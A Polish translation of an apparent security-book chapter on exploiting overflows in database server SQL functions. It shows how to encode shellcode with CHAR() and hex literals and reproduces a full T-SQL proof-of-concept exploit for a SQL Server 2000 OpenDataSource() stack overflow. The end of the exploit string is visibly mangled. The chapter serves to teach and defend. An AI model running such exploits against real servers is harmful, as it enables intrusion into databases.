Wykorzystywanie dziur na poziomie SQL jest łatwiejsze niż na niższych poziomach. Nie oznacza to jednak, że eksploatacja dziur na niższych poziomach jest trudna – jest tylko trochę trudniejsza. Powodem, dla którego poziom SQL jest mniej trudny, jest to, że możemy polegać na narzędziach klienckich, takich jak analizator zapytań firmy Microsoft i SQL*Plus firmy Oracle, aby opakować nasz

exploit przy użyciu odpowiednich protokołów wyższego poziomu, takich jak TDS i TNS. Następnie zakodowalibyśmy nasz exploit w wybranym rozszerzeniu SQL.

Funkcje SQL

Większość luk związanych z przepełnieniem występujących na poziomie SQL występuje w funkcjach lub rozszerzonych procedurach składowanych. Takie luki są rzadko spotykane w samym analizatorze SQL. Jest to jednak logiczne. Parser SQL musi być solidny i musi radzić sobie z prawie nieskończoną liczbą odmian zapytań; kod musi być wolny od błędów. Z drugiej strony funkcje i rozszerzone procedury składowane są zazwyczaj przeznaczone do wykonywania jednej lub dwóch określonych akcji; kod kryjący się za tą funkcjonalnością jest mniej weryfikowany. Większość kodu wykonywalnego zwykle znajdowanego w exploitach nie jest prostym kodem ASCII do wydrukowania; z tego powodu potrzebujemy metody, aby uzyskać drukowalny ASCII z narzędzia klienta SQL. Chociaż na początku brzmi to jak trudna propozycja, tak nie jest. Jak już wspomnieliśmy, sposób wykorzystania przepełnień w warstwie SQL jest nieograniczony – rozszerzenia SQL zapewniają bogate środowisko programistyczne, a exploity można pisać w dowolny możliwy sposób. Spójrzmy na kilka przykładów.

Korzystanie z funkcji CHR/CHAR

Większość środowisk SQL ma funkcję CHR lub CHAR, która pobiera liczbę i konwertuje ją na znak. Za pomocą funkcji CHR możemy zbudować kod wykonywalny. Na przykład, gdybyśmy chcieli kodu, który wykonał funkcję call eax, bajty tej instrukcji to 0xFF i 0xD0. Nasz Microsoft SQL byłby:

DECLARE @foo varchar(20)

SELECT @foo = CHAR(255) + CHAR(208)

Oracle używa funkcji CHR().

Nie zawsze potrzebujemy nawet funkcji CHR/CHAR. Możemy po prostu wstawić bajty bezpośrednio za pomocą szesnastkowego:

SELECT @foo = 0xFFD0

Korzystając z takich metod widzimy, że nie mamy problemu z przekazaniem naszego kodu binarnego. Jako przykład pracy rozważmy następujący kod T-SQL, który wykorzystuje przepełnienie bufora oparte na stosie w Microsoft SQL Server 2000:

-- Simple Proof of Concept

-- Exploits a buffer overrun in OpenDataSource()

--

-- Demonstrates how to exploit a UNICODE overflow using T-SQL

-- Calls CreateFile() creating a file called c:\SQL-ODSJET-BO

-- I'm overwriting the saved return address with 0x42B0C9DC

-- This is in sqlsort.dll and is consistent between SQL 2000 SP1 and SP2

-- The address holds a jmp esp instruction.

--

-- To protect against this overflow download the latest Jet Service

```
-- pack from Microsoft - http://www.microsoft.com/
--
-- David Litchfield (david@ngssoftware.com)
-- 19th June 2002
declare @exploit nvarchar(4000)
declare @padding nvarchar(2000)
declare @saved_return_address nvarchar(20)
declare @code nvarchar(1000)
declare @pad nvarchar(16)
declare @cnt int
declare @more_pad nvarchar(100)
select @cnt = 0
select @padding = 0x41414141
select @pad = 0x4141
while @cnt < 1063
begin
select @padding = @padding + @pad
select @cnt = @cnt + 1
end
-- overwrite the saved return address
select @saved_return_address = 0xDCC9B042
select @more_pad = 0x43434343444444444545454546464647474747
-- code to call CreateFile(). The address is hardcoded to 0x77E86F87 - Win2K Sp2
-- change if running a different service pack
select @code =
0x558BEC33C05068542D424F6844534A4568514C2D4F68433A5C538D142450504050485050B0C
05052B8876FE877FFD0CCCCCCCCCC
select @exploit = N'SELECT * FROM OpenDataSource(
''Microsoft.Jet.OLEDB.4.0'',''Data Source="c:\'
select @exploit = @exploit + @padding + @saved_return_address + @more_pad + @code
select @exploit = @exploit + N'";User ID=Admin;Password=;Extended
```

properties=Excel 5.0’‘)...xactions’

exec (@exploit)

Podsumowanie

Mamy nadzieję, że ten rozdział pokazał ci, jak podejść do ataku na oprogramowanie RDBMS. Podejście jest podobne do tego, które stosuje się w przypadku większości innych programów — z jedną dużą różnicą. Hakowanie serwerów baz danych można porównać do hakowania kompilatora — jest tak duża elastyczność i wystarczająca przestrzeń programistyczna, że prawie staje się to łatwe. Administratorzy baz danych muszą być świadomi tej słabości serwerów baz danych i odpowiednio je blokować. Mam nadzieję, że robak Slammer będzie jednym z ostatnich, jeśli nie ostatnim, robakiem potrafiący z taką łatwością przejąć oprogramowanie serwera bazodanowego.